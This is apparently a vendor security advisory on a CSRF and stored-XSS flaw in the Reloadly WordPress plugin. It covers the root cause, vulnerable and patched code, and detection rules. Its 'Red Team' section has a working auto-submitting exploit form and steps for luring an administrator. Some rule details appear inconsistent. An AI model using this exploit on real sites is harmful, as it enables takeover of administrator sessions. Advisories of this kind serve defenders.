CVE-2025-62956
Executive Summary
CVE-2025-62956 is a Cross-Site Request Forgery (CSRF) vulnerability in the Reloadly WordPress plugin (reloadly-topup-widget), developed by iseremet. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. Due to the lack of CSRF protection, this vulnerability can be chained with Stored Cross-Site Scripting (XSS), enabling persistent payload execution. The plugin is widely used for mobile top-up services, making it a high-value target for supply chain attacks.
Key Risk: An attacker can craft a malicious link or form that, when clicked by an admin, changes plugin configurations or injects JavaScript. This can lead to session hijacking, defacement, or data exfiltration. The vulnerability affects all versions up to and including 2.0.1, with no patch currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Administrators should treat this as a critical supply chain risk and consider removing the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must click a link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High. Although the CVSS score is 7.1, the combination of CSRF and Stored XSS elevates the risk. An attacker can achieve persistent code execution in the admin context, leading to full site compromise.
Deep Dive & Mechanics
The vulnerability exists in the reloadly-topup-widget plugin, which lacks CSRF nonce validation on administrative actions. The plugin processes POST requests to save settings (e.g., API keys, widget configuration) without verifying the request origin. Additionally, the plugin fails to sanitize user input before storing it in the database, allowing Stored XSS.
Attack Flow:
- Attacker crafts a malicious HTML page with an auto-submitting form targeting the plugin's settings endpoint.
- Attacker lures an authenticated WordPress admin to visit the page.
- The admin's browser sends a forged request, changing plugin settings or injecting a JavaScript payload.
- The injected script executes in the admin's browser, allowing the attacker to create new admin users, exfiltrate data, or deploy further malware.
Root Cause: Missing CSRF nonce (wp_nonce_field()) and insufficient input sanitization (sanitize_text_field() not used).
Vulnerable vs. Patched Code
Vulnerable Code (reloadly-topup-widget.php, <= 2.0.1):
// No CSRF check
if (isset($_POST['save_settings'])) {
update_option('reloadly_api_key', $_POST['api_key']);
update_option('reloadly_widget_title', $_POST['widget_title']); // Stored XSS
}
Patched Code (Hypothetical Fix):
if (isset($_POST['save_settings']) && wp_verify_nonce($_POST['_wpnonce'], 'reloadly_save_settings')) {
update_option('reloadly_api_key', sanitize_text_field($_POST['api_key']));
update_option('reloadly_widget_title', sanitize_text_field($_POST['widget_title']));
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Reloadly plugin <= 2.0.1 installed and activated.
- An authenticated admin session (cookie).
Exploit HTML (csrf_exploit.html):
<html>
<body>
<form action="http://target/wp-admin/admin-post.php?action=reloadly_save_settings" method="POST">
<input type="hidden" name="save_settings" value="1">
<input type="hidden" name="api_key" value="attacker_key">
<input type="hidden" name="widget_title" value="<script>alert('XSS')</script>">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Steps:
- Host the HTML file on an attacker-controlled server.
- Send the link to the admin via email or social engineering.
- Once the admin visits, the form auto-submits, changing the API key and injecting XSS.
- The XSS payload executes on the admin's dashboard, allowing further compromise.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unexpected changes to
wp_optionstable entries likereloadly_api_keyorreloadly_widget_title. - Look for HTTP requests to
/wp-admin/admin-post.php?action=reloadly_save_settingswith noRefererheader matching the site domain.
Hardening:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwith suspicious parameters. - Enforce Content Security Policy (CSP) headers to mitigate XSS.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/reloadly-topup-widget/reloadly-topup-widget.php - Database Entries:
wp_optionswithoption_name=reloadly_api_keyorreloadly_widget_titlecontaining unexpected values. - Network: POST requests to
/wp-admin/admin-post.php?action=reloadly_save_settingswith no validReferer. - Logs: WordPress debug log entries showing
wp_verify_noncefailures (if patched) or missing nonce errors.
Detection Engineering
YARA Rule
rule Detect_Reloadly_CSRF_XSS {
meta:
description = "Detects vulnerable Reloadly plugin files with missing CSRF nonce"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:examplehash"
strings:
$vuln_func = "update_option('reloadly_" ascii wide nocase
$no_nonce = "if (isset($_POST['save_settings']))" ascii wide nocase
condition:
$vuln_func and $no_nonce
}
Sigma Rule
title: Reloadly Plugin CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Reloadly plugin settings endpoint without proper Referer
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri: '/wp-admin/admin-post.php'
cs-uri-query: 'action=reloadly_save_settings'
filter:
c-referer: 'http://target/wp-admin/*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the dashboard
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-62956 Reloadly CSRF Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-post.php"; http_uri;
content:"action=reloadly_save_settings"; http_uri;
pcre:"/Referer:[^\r\n]*/wp-admin\//Pi";
sid:1000001;
rev:1;
reference:cve,2025-62956;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove the plugin from the WordPress installation if not critical.
- Audit user accounts for unauthorized admin creation.
Long-term Fix:
- The vendor must add CSRF nonce validation and input sanitization.
- Users should monitor the plugin repository for updates.
Workaround:
- Add a custom function to
functions.phpto block the vulnerable endpoint:
add_action('admin_post_reloadly_save_settings', function() {
wp_die('Plugin disabled due to security vulnerability.');
}, 1);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.